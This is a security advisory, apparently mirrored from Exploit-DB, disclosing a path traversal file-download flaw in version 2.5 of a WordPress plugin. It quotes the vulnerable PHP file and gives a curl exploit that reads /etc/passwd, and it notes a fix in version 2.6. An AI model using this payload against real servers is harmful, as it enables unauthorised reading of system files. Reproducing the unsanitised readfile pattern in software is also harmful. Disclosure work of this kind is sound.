Remote file download vulnerability in wordpress plugin wp-ecommerce-shop-styling v2.5

vendor:

wp-ecommerce-shop-styling

by:

Larry W. Cashdollar

7.5

CVSS

HIGH

Remote File Download

TBD

CWE

Product Name: wp-ecommerce-shop-styling

Affected Version From: 2.5

Affected Version To: 2.5

Patch Exists: YES

Related CWE: Requested TBD

CPE:

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2015

Remote file download vulnerability in wordpress plugin wp-ecommerce-shop-styling v2.5

The code in ./wp-ecommerce-shop-styling/includes/download.php doesn't sanitize user input to prevent sensitive system files from being downloaded. An attacker can use the curl command to download the file from the server.

Mitigation:

Sanitize user input to prevent sensitive system files from being downloaded.

Source

Exploit-DB raw data:

Title: Remote file download vulnerability in wordpress plugin wp-ecommerce-shop-styling v2.5
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-05
Download Site: https://wordpress.org/plugins/wp-ecommerce-shop-styling
Vendor: https://profiles.wordpress.org/haet/
Vendor Notified: 2015-07-05, fixed in version 2.6.
Vendor Contact: http://wpshopstyling.com
Description: Customize your WP ecommerce store with HTML mail templates, message content, transaction results and PDF invoices with WYSIWYG editor and placeholders.
Vulnerability:
The code in ./wp-ecommerce-shop-styling/includes/download.php doesn't sanitize user input to prevent sensitive system files from being downloaded.


1 <?php
2 require_once("../../../../wp-admin/admin.php");
3 
4 header('Content-disposition: attachment; filename='.$_GET['filename']);
5 header('Content-type: application/pdf');
6 readfile(HAET_INVOICE_PATH.$_GET['filename']);
7 ?>

You'll have to rename the download file via mv -- -..-..-..-..-..-..-..-..-etc-passwd passwd as the filename is set to the download filename with path.

CVEID: Requested TBD  
OSVDB: TBD

Exploit Code:
  • $ curl http://server/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename=../../../../../../../../../etc/passwd